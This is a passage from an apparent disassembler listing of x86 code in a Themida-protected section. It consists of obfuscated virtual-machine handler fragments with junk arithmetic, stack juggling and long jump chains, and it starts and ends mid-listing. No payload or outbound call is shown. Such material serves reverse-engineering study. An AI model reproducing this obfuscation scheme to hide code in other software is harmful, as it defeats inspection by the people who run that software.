		or	ecx, 285E61DCh
		jmp	loc_5552A1
sub_55E640	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E653:				; CODE XREF: sub_559C84-1152j
		and	[edi+1Ch], ebp
		jmp	loc_55917C
; ---------------------------------------------------------------------------


loc_55E65B:				; CODE XREF: sub_559C84+2328j
		pop	edx
		add	bl, al
		pop	eax
		sub	esp, 4
		mov	[esp-4+arg_0], edx
		mov	dl, 4
		and	dl, 0C9h
		add	dl, 16h
		jmp	loc_55E326
; ---------------------------------------------------------------------------


loc_55E675:				; CODE XREF: sub_559C84+3832j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 15BA67E9h
		add	esi, 0EA45981Bh
		add	eax, 3660789Bh
		add	eax, esi
		push	ebx
		mov	ebx, 0ADA377Bh
		add	ebx, 29AA1C7Ch
		or	ebx, 771659FFh
		xor	ebx, 41F62364h
		sub	eax, ebx
		pop	ebx
		pop	esi
		xor	eax, [esp+48h+var_4A+2]
		xor	[esp+48h+var_4A+2], eax
		jmp	loc_554CE2
; ---------------------------------------------------------------------------


loc_55E6B7:				; CODE XREF: sub_559C84-5CE2j
		add	bl, ah
		pop	eax
		movzx	eax, al
		mov	dx, [esp+0]
		jmp	loc_557408
; ---------------------------------------------------------------------------


loc_55E6C6:				; CODE XREF: sub_559C84+438Bj
		add	ecx, 0AEFDFAF1h
		add	esi, ecx
		pop	ecx
		push	esi
		push	[esp+62h+var_60+2]
		mov	esi, [esp+0]
		add	esp, 4
		pop	[esp+62h+var_64+2]
		mov	esp, [esp+5Eh+var_60+2]
		inc	byte ptr [esp+5Eh+var_60+2]
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55E6EC:				; CODE XREF: sub_559C84-4F96j
		mov	edx, 79F75694h
		dec	edx
		push	edi
		mov	edi, 41C53A6Ch
		sub	edi, 4BC94ECBh
		shl	edi, 6
		inc	edi
		neg	edi
		and	edi, 2AE67C48h
		add	edi, 762E15ECh
		jmp	loc_55888A
; ---------------------------------------------------------------------------


loc_55E715:				; CODE XREF: sub_559C84+393Dj
		push	[esp+14h+var_10]
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		pop	[esp+14h+var_14]
		pop	esp
		mov	cx, word ptr [esp+0Ch+var_C]
		jmp	loc_558426
; ---------------------------------------------------------------------------


loc_55E72F:				; CODE XREF: sub_559C84-5885j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		push	edx
		mov	edx, 2
		add	esi, edx
		pop	edx
		jmp	loc_55BF1B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55E751:				; CODE XREF: Themida_:0055489Bj
		and	edi, 3AD915B0h
		add	edi, 0CDFFEB84h
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_554DD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E767:				; CODE XREF: sub_559C84-6131j
		push	esi
		mov	esi, 0F33BF5h
		mov	ebp, 33F59DCh
		sub	ebp, esi
		pop	esi
		or	ecx, ebp
		pop	ebp
		add	ecx, 2AD27B0Dh
		jmp	loc_5596E6
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555531


loc_55E783:				; CODE XREF: sub_555531-1BB1j
		mov	ecx, ebx
		jmp	loc_55C0AA
; END OF FUNCTION CHUNK	FOR sub_555531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E78A:				; CODE XREF: sub_559C84+4FF3j
		xor	dl, 39h
		and	dl, 25h
		sub	dl, 33h
		xor	dl, 0C3h
		mov	cl, dl
		pop	edx
		jmp	loc_55F4DD
; ---------------------------------------------------------------------------


loc_55E79E:				; CODE XREF: sub_559C84+17D9j
		sub	ch, 0FFh
		shl	ch, 8
		jmp	loc_55945F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5561B6


loc_55E7A9:				; CODE XREF: sub_5561B6+25F2j
		pop	ebx
		pop	edi
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	dword ptr [eax]
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_5561B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E7B8:				; CODE XREF: sub_559C84+1E7Cj
		pop	eax
		xor	ecx, edi
		jmp	loc_555193
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554D6A


loc_55E7C0:				; CODE XREF: sub_554D6A+ADD4j
		mov	[esp+0], esi
		push	4461h
		mov	[esp+4+var_4], edx
		mov	edx, 6B3E1249h
		mov	esi, 6B3E124Dh
		xor	esi, edx
		push	[esp+4+var_4]
		pop	edx
		jmp	loc_55D418
; END OF FUNCTION CHUNK	FOR sub_554D6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E7E0:				; CODE XREF: sub_559C84+D45j
		add	ebx, ecx
		jmp	loc_5590DD
; ---------------------------------------------------------------------------


loc_55E7E7:				; CODE XREF: sub_559C84+37B7j
		mov	edi, [esp+40h+var_42+2]
		add	esp, 4
		sub	eax, 2BA3FD44h
		mov	edx, eax
		mov	eax, [esp+3Ch+var_3E+2]
		push	edi
		jmp	loc_55379E
; ---------------------------------------------------------------------------


loc_55E7FD:				; CODE XREF: sub_559C84+4560j
		pop	ebp
		add	esp, 4
		jmp	loc_5555E6
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55E806:				; CODE XREF: Themida_:0055E903j
		add	edx, 2
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55A68D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E826:				; CODE XREF: sub_559C84-298Fj
		not	ecx
		jmp	loc_556390
; ---------------------------------------------------------------------------


loc_55E82D:				; CODE XREF: sub_559C84+3CEEj
		sub	cl, 0FFh
		push	ebx
		jmp	loc_55D6A4
; ---------------------------------------------------------------------------


loc_55E836:				; CODE XREF: sub_559C84-617j
		mov	ebx, ecx
		pop	ecx
		add	ebx, 7C284E3Ch
		add	ebx, eax
		sub	ebx, 7C284E3Ch
		push	ebp
		jmp	loc_559E55
; ---------------------------------------------------------------------------


loc_55E84D:				; CODE XREF: sub_559C84+4E12j
		mov	ebp, 4
		add	[esp-2+arg_0+2], 7487350Fh
		add	[esp-2+arg_0+2], ebp
		sub	[esp-2+arg_0+2], 7487350Fh
		pop	ebp
		push	[esp-6+arg_0+2]
		pop	edi
		add	esp, 4
		push	ecx
		mov	ecx, 2BC06F57h
		jmp	loc_55D2B4
; ---------------------------------------------------------------------------


loc_55E87C:				; CODE XREF: sub_559C84-5583j
		sub	edi, 79D8D0BCh
		xor	ebx, edi
		pop	edi
		xor	eax, ebx
		mov	ebx, [esp+38h+var_3A+2]
		push	ebp
		jmp	loc_55D3C8
; ---------------------------------------------------------------------------


loc_55E890:				; CODE XREF: sub_559C84-4054j
		mov	edi, [esp+0]
		add	esp, 4
		add	eax, 2
		jmp	loc_554C40
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5559F0


loc_55E89E:				; CODE XREF: sub_5559F0+18B3j
		mov	ebx, esi
		pop	esi
		jmp	loc_55A48C
; END OF FUNCTION CHUNK	FOR sub_5559F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E8A6:				; CODE XREF: sub_559C84-3AE9j
		add	esi, 4
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], ebp
		push	esi
		mov	esi, 48FA3766h
		and	esi, 4E516429h
		not	esi
		jmp	loc_559754
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	507Ah
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		push	2484h
		mov	[esp], edx
		mov	edx, 23931B7Ah
		shr	edx, 8
		add	edx, 0FFDC6CE9h
		mov	ebx, edx
		pop	edx
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55E806
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E908:				; CODE XREF: sub_559C84-4222j
		push	37DA3379h
		pop	eax
		push	edi
		mov	edi, 6EB96274h
		sub	eax, edi
		jmp	loc_556651
; ---------------------------------------------------------------------------


loc_55E91B:				; CODE XREF: sub_559C84-738j
		mov	[esp+3Eh+var_3E], eax
		push	esi
		jmp	loc_556738
; ---------------------------------------------------------------------------


loc_55E924:				; CODE XREF: sub_559C84+32ACj
		and	ecx, eax
		push	dword ptr [esp+0]
		push	[esp+58h+var_58]
		jmp	loc_55837A
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_55564F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E940:				; CODE XREF: sub_559C84-52Aj
		or	esi, 7E4F679Bh
		xor	esi, 0FF4FEF9Dh
		jmp	loc_553FBD
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55E951:				; CODE XREF: Themida_:00554756j
		mov	ebx, 44F28E4h
		shr	ebx, 4
		add	ebx, 76FC7CD0h
		sub	ebx, 24542F1Eh
		mov	eax, ebx
		jmp	loc_55D5E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E96C:				; CODE XREF: sub_559C84-28C4j
		mov	cl, dh
		pop	edx
		xor	cl, ah
		pop	eax
		jmp	loc_55D862
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EB5B


loc_55E977:				; CODE XREF: sub_55EB5B+9j
		pop	bx
		add	ax, si
		jmp	loc_553C40
; END OF FUNCTION CHUNK	FOR sub_55EB5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55E981:				; CODE XREF: sub_559C84-64DEj
		add	edi, 4
		jmp	loc_554AE8
; ---------------------------------------------------------------------------


loc_55E98C:				; CODE XREF: sub_559C84-6610j
		add	esi, 4
		xchg	esi, [esp+16h+var_18+2]
		pop	esp
		sub	ebx, 5C982534h
		add	ebx, edx
		add	ebx, 5C982534h
		pop	edx
		push	eax
		jmp	loc_55BEB4
; ---------------------------------------------------------------------------


loc_55E9A8:				; CODE XREF: sub_559C84-5BEDj
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_55E091
; ---------------------------------------------------------------------------


loc_55E9B3:				; CODE XREF: sub_559C84-2170j
		neg	ebp
		and	ebp, 73727B41h
		add	ebp, 8CFDA503h
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp+4Ah+var_4A]
		mov	esp, [esp+4Ah+var_4A]
		push	[esp+4Ah+var_4A]
		pop	ecx
		sub	esp, 4
		mov	[esp+4Eh+var_4E], esi
		jmp	loc_55D7B7
; ---------------------------------------------------------------------------


loc_55E9D9:				; CODE XREF: sub_559C84+5DBj
		mov	ebx, [esp+24h+var_24]
		add	esp, 4
		jmp	loc_558D56
; ---------------------------------------------------------------------------


loc_55E9E4:				; CODE XREF: sub_559C84-5D96j
		mov	ecx, [esp+2+var_4+2]
		push	ecx
		jmp	loc_55830B
; ---------------------------------------------------------------------------


loc_55E9ED:				; CODE XREF: sub_559C84+2A3Fj
		pop	ebx
		add	ebx, 55307D7Ch
		pop	eax
		add	[esp+50h+var_4E+2], ebx
		pop	ebx
		push	[esp+4Ch+var_4E+2]
		mov	edx, [esp+50h+var_52+2]
		add	esp, 4
		jmp	sub_557A15
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55EA08:				; CODE XREF: Themida_:005599B9j
		push	edi
		jmp	loc_55EA77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EA0E:				; CODE XREF: sub_559C84+48B4j
		add	eax, 4
		jmp	loc_55D175
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55EA18:				; CODE XREF: Themida_:005556ACj
		push	ebx
		jmp	loc_55B458
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EA1E:				; CODE XREF: sub_559C84-59BCj
		mov	ebp, 465BCFh
		neg	ebp
		neg	ebp
		xor	ebp, 521A622Fh
		add	ebp, 0ADA3C624h
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp-18h+arg_14]
		pop	esp
		sub	ecx, 7D674C2Ch
		jmp	loc_5540C1
; ---------------------------------------------------------------------------


loc_55EA45:				; CODE XREF: sub_559C84-1BDEj
		push	6BFAh
		mov	[esp+50h+var_52+2], esi
		jmp	loc_55C259
; ---------------------------------------------------------------------------


loc_55EA52:				; CODE XREF: sub_559C84-3821j
		pop	edi
		add	eax, 616D2830h
		add	eax, esi
		sub	eax, 616D2830h
		pop	esi
		xchg	eax, [esp+4Ah+var_4A]
		pop	esp
		jmp	loc_553D36
; ---------------------------------------------------------------------------


loc_55EA69:				; CODE XREF: sub_559C84-5F97j
		and	eax, edx
		push	[esp+14h+var_14]
		pop	edx
		add	esp, 4
		jmp	loc_558C33
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55EA77:				; CODE XREF: Themida_:0055EA09j
		mov	edi, 17184F29h
		mov	edx, edi
		jmp	loc_55D32B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EA83:				; CODE XREF: sub_559C84+6CFj
		push	2B24h
		mov	[esp+42h+var_42], edi
		sub	esp, 4
		push	esp
		pop	[esp+4Ah+var_4A]
		push	ebp
		jmp	loc_55E84D
; ---------------------------------------------------------------------------


loc_55EA9B:				; CODE XREF: sub_559C84+5A01j
		push	125Fh
		mov	[esp+4Eh+var_4E], ecx
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558BA2


loc_55EAA8:				; CODE XREF: sub_558BA2-134Bj
		push	edi
		mov	edi, 76FA6311h
		jmp	loc_553AC8
; END OF FUNCTION CHUNK	FOR sub_558BA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EAB3:				; CODE XREF: sub_559C84-20F0j
		add	edx, edi
		pop	edi
		xor	edx, [esp+62h+var_64+2]
		jmp	loc_55BD8E
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558D95


loc_55EABE:				; CODE XREF: sub_558D95-4DC1j
		mov	[esp+0], bx
		mov	bh, 79h
		add	al, bh
		mov	bx, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		jmp	loc_55B5FC
; END OF FUNCTION CHUNK	FOR sub_558D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EADE:				; CODE XREF: sub_559C84+3CA8j
		mov	[esp+4Ah+var_4A], ebp
		mov	ebp, esp
		push	eax
		jmp	loc_5535D7
; ---------------------------------------------------------------------------


loc_55EAE9:				; CODE XREF: sub_559C84+5E4Fj
		add	ebx, eax
		sub	ebx, 59A71D84h
		add	ebx, 2D494D1Eh
		push	edx
		mov	edx, 5F932714h
		push	edi
		jmp	loc_557775
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55EB03:				; CODE XREF: Themida_:0055F4D8j
		push	ebx
		mov	ebx, 0
		sub	ebx, edi
		xchg	ebx, edi
		pop	ebx
		jmp	loc_558181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EB13:				; CODE XREF: sub_559C84+18E1j
		mov	si, 2B66h
		xor	bx, si
		jmp	loc_55F2BB
; ---------------------------------------------------------------------------


loc_55EB1F:				; CODE XREF: sub_559C84-5B06j
		sub	ebx, 387D46E3h
		pop	esi
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		jmp	loc_55FB4E
; ---------------------------------------------------------------------------


loc_55EB35:				; CODE XREF: sub_559C84+3BD9j
		push	edx
		mov	edx, 65E24E25h
		not	edx
		sub	edx, 7165774h
		and	edx, 44180B28h
		neg	edx
		jmp	loc_55E44E
; ---------------------------------------------------------------------------


loc_55EB50:				; CODE XREF: sub_559C84-3A65j
		add	ebp, 4
		jmp	loc_557C20
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55EB5B	proc near		; CODE XREF: sub_559C84+146Ej

; FUNCTION CHUNK AT 00553C40 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055E977 SIZE 0000000A BYTES

		push	bx
		mov	bx, 76F5h
		add	ax, bx
		jmp	loc_55E977
sub_55EB5B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		push	ebx
		jmp	loc_55383C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EB76:				; CODE XREF: sub_559C84+5730j
		mov	edi, 8CA4862h
		shl	edi, 5
		jmp	loc_55F2F5
; ---------------------------------------------------------------------------


loc_55EB83:				; CODE XREF: sub_559C84-549Aj
		add	cl, 0B2h
		mov	ah, cl
		pop	ecx
		push	edx
		mov	dh, 4Eh
		add	ah, dh
		pop	edx
		push	ecx
		mov	ch, 0CDh
		jmp	loc_55A212
; ---------------------------------------------------------------------------


loc_55EB97:				; CODE XREF: sub_559C84-894j
		add	al, 0DBh
		pop	ecx
		mov	bx, [esp+0]
		add	esp, 2
		push	0A67h
		mov	[esp+0], ecx
		push	edx
		mov	dl, 0DAh
		jmp	loc_558950
; ---------------------------------------------------------------------------


loc_55EBB4:				; CODE XREF: sub_559C84-8F4j
		mov	eax, 70B7229h
		shl	eax, 3
		and	eax, 76045AC1h
		jmp	loc_553D9B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	499Ch
		jmp	loc_557BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EBD3:				; CODE XREF: sub_559C84-4CEBj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+52h+var_52]
		jmp	loc_55B93B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554572


loc_55EBE5:				; CODE XREF: sub_554572+43CCj
		inc	ecx
		xor	ecx, 7F9609F2h
		dec	ecx
		dec	ecx
		push	edx
		mov	edx, 42CF07D8h
		shl	edx, 7
		xor	edx, 716D41D0h
		jmp	loc_55B6B2
; END OF FUNCTION CHUNK	FOR sub_554572
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EC02:				; CODE XREF: sub_559C84+9C0j
		add	[esp+4Ch+var_4E+2], 4
		pop	edi
		add	edi, 4
		push	edx
		push	2
		pop	edx
		sub	edi, edx
		jmp	loc_55A3B5
; ---------------------------------------------------------------------------


loc_55EC1E:				; CODE XREF: sub_559C84+290Cj
		mov	[esp+4Ch+var_4E+2], edx
		push	[esp+4Ch+var_4A+2]
		mov	edx, [esp+50h+var_52+2]
		add	esp, 4
		pop	[esp+4Ch+var_4E+2]
		mov	esp, [esp+48h+var_4A+2]
		jmp	loc_55A41C
; ---------------------------------------------------------------------------


loc_55EC36:				; CODE XREF: sub_559C84+3266j
		mov	ebx, esi
		jmp	loc_55BA20
; ---------------------------------------------------------------------------


loc_55EC3D:				; CODE XREF: sub_559C84-46A9j
		pop	esi
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp+42h+var_42]
		jmp	loc_55D884
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ED81


loc_55EC55:				; CODE XREF: sub_55ED81+27j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		add	edx, 4
		jmp	sub_556F29
; END OF FUNCTION CHUNK	FOR sub_55ED81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EC66:				; CODE XREF: sub_559C84-63AAj
		shl	bh, 1
		xor	bh, 0C7h
		add	bh, 51h
		add	cl, bh
		jmp	loc_5568F7
; ---------------------------------------------------------------------------


loc_55EC75:				; CODE XREF: sub_559C84-1331j
		dec	dl
		jmp	loc_55E78A
; ---------------------------------------------------------------------------


loc_55EC7C:				; CODE XREF: sub_559C84+499Cj
		push	edx
		jmp	loc_55CE28
; ---------------------------------------------------------------------------


loc_55EC82:				; CODE XREF: sub_559C84-5B2Fj
		mov	esp, [esp+4+var_4]
		movzx	ax, byte ptr [eax]
		push	small 63E0h
		mov	word ptr [esp+6+var_8+2], ax
		jmp	loc_55B3D1
; ---------------------------------------------------------------------------


loc_55EC96:				; CODE XREF: sub_559C84+276Bj
		add	esp, 4
		not	eax
		add	eax, 980C40CDh
		sub	[edi+24h], eax
		pop	eax


loc_55ECA4:				; CODE XREF: sub_559C84-C9Ej
		push	ecx
		jmp	loc_55504B
; ---------------------------------------------------------------------------


loc_55ECAA:				; CODE XREF: sub_559C84-3A4j
		neg	ecx
		sub	ecx, 0FFFFFFFFh
		or	ecx, 9F301AEh
		jmp	loc_55CC3B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D58


loc_55ECBD:				; CODE XREF: sub_553D58+3404j
		add	al, 0B7h
		add	al, 9Eh
		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		jmp	loc_55A1A8
; END OF FUNCTION CHUNK	FOR sub_553D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555BE3


loc_55ECCC:				; CODE XREF: sub_555BE3+76Fj
		mov	edi, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, 0DD96B86h
		jmp	loc_557782
; END OF FUNCTION CHUNK	FOR sub_555BE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554572


loc_55ECE9:				; CODE XREF: sub_554572+6j
		mov	edx, ebx
		pop	ebx
		add	edi, edx
		pop	edx
		push	57Eh
		mov	[esp+0], edi
		push	[esp+arg_0]
		jmp	loc_554835
; END OF FUNCTION CHUNK	FOR sub_554572
; ---------------------------------------------------------------------------


loc_55ED00:				; DATA XREF: Themida_:00553424o
		lodsd
		xor	eax, ebx
		push	esi
		mov	esi, 62826F6Fh
		xor	esi, 653040D7h
		add	esi, 622A582Bh
		push	ebx
		mov	ebx, 7E9629E6h
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, 0DCEABCB9h
		xor	ebx, edi
		jmp	loc_55F1D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55ED2D:				; CODE XREF: sub_559C84-5A0Ej
		pop	esp
		jmp	loc_55DC3A
; ---------------------------------------------------------------------------


loc_55ED33:				; CODE XREF: sub_559C84-166Bj
		xor	eax, ecx
		pop	ecx
		jmp	loc_55357C
; ---------------------------------------------------------------------------


loc_55ED3B:				; CODE XREF: sub_559C84+DDBj
		xor	ebx, 0C2D144BEh
		jmp	loc_55CA8D
; ---------------------------------------------------------------------------


loc_55ED46:				; CODE XREF: sub_559C84-2DECj
		add	al, 67h
		sub	al, bl
		push	ecx
		push	ebx
		mov	bl, 67h
		jmp	loc_5584CC
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55ED53:				; CODE XREF: Themida_:0055E5A6j
		mov	esi, 4CD736AAh
		mov	ebp, esi
		pop	esi
		sub	ecx, ebp
		pop	ebp
		add	ecx, 40746B2Fh
		add	ecx, ebp
		push	esi
		mov	esi, 449D11E6h
		inc	esi
		jmp	loc_557898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55ED72:				; CODE XREF: sub_559C84+1946j
		mov	[esp+60h+var_60], eax
		mov	eax, 4
		mov	ecx, eax
		jmp	loc_5587CC
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_55ED81	proc near		; CODE XREF: sub_559C84-1FE2j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055EC55 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		pop	esp
		push	dword ptr [esp+0]
		pop	eax
		push	edx
		push	19C2h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_55EC55
sub_55ED81	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EDAD:				; CODE XREF: sub_559C84+3ABj
		add	al, dh
		jmp	loc_553663
; ---------------------------------------------------------------------------


loc_55EDB4:				; CODE XREF: sub_559C84-1A25j
		mov	edx, [esp+48h+var_4A+2]
		add	esp, 4
		sub	[esp+44h+var_42+2], ecx
		pop	ecx
		sub	[esp+40h+var_42+2], 2E900F06h
		jmp	loc_554D80
; ---------------------------------------------------------------------------


loc_55EDCB:				; CODE XREF: sub_559C84-616Ej
		mov	bh, ch
		jmp	loc_55A411
; ---------------------------------------------------------------------------


loc_55EDD2:				; CODE XREF: sub_559C84-127Cj
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		jmp	loc_55918A
; ---------------------------------------------------------------------------


loc_55EDDF:				; CODE XREF: sub_559C84+47D0j
		add	edx, 6A14D4F9h
		add	esi, edx
		pop	edx
		add	ebp, esi
		pop	esi
		jmp	loc_55C1CF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	edx
		jmp	loc_55A336
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EE06:				; CODE XREF: sub_559C84+2CDEj
		and	[edi+1Ch], ebp
		push	[esp+0Ch+var_C]
		pop	ebp
		add	esp, 4
		jmp	loc_55A0DD
; ---------------------------------------------------------------------------


loc_55EE15:				; CODE XREF: sub_559C84-47C6j
		mov	edx, 57B96AADh
		xor	edx, 4FE855D4h
		add	edx, 1DDD232Bh
		jmp	sub_55F673
; ---------------------------------------------------------------------------


loc_55EE2B:				; CODE XREF: sub_559C84-4B0Aj
		add	edi, ecx
		pop	ecx
		jmp	loc_556645
; ---------------------------------------------------------------------------


loc_55EE33:				; CODE XREF: sub_559C84+3A82j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_55F580
; ---------------------------------------------------------------------------


loc_55EE47:				; CODE XREF: sub_559C84+C8Dj
		push	edi
		mov	edi, 6674069Ch
		jmp	loc_55780C
; ---------------------------------------------------------------------------


loc_55EE52:				; CODE XREF: sub_559C84-4776j
		pop	cx
		shr	dh, 5
		push	ecx
		mov	cl, 0E3h
		shl	cl, 4
		add	cl, 9Bh
		xor	dh, cl
		pop	ecx
		jmp	loc_556C89
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55EE68:				; DATA XREF: Themida_:00553428o
		pop	dword ptr [edx]
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55EE6F:				; CODE XREF: Themida_:005588DEj
		xor	ebx, edi
		pop	edi
		push	eax
		mov	eax, 7BBD4B82h
		neg	eax
		inc	eax
		add	eax, 7E0C9D40h
		sub	ebx, eax
		jmp	loc_55C00C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EE87:				; CODE XREF: sub_559C84+26CDj
		pop	esi
		jmp	loc_55B4B1
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55EE8D:				; CODE XREF: Themida_:0055FC61j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EE9C:				; CODE XREF: sub_559C84-62ABj
		pop	ecx
		jmp	loc_55BA35
; ---------------------------------------------------------------------------


loc_55EEA2:				; CODE XREF: sub_559C84-46E2j
		pop	ebp
		and	eax, edx
		pop	edx
		shr	eax, 12h
		jmp	loc_55CFA9
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5589C1


loc_55EEAE:				; CODE XREF: sub_5589C1+17Fj
		sub	ebp, 0B2274137h
		push	eax
		mov	eax, 74B0A43h
		xchg	eax, ebx
		not	ebx
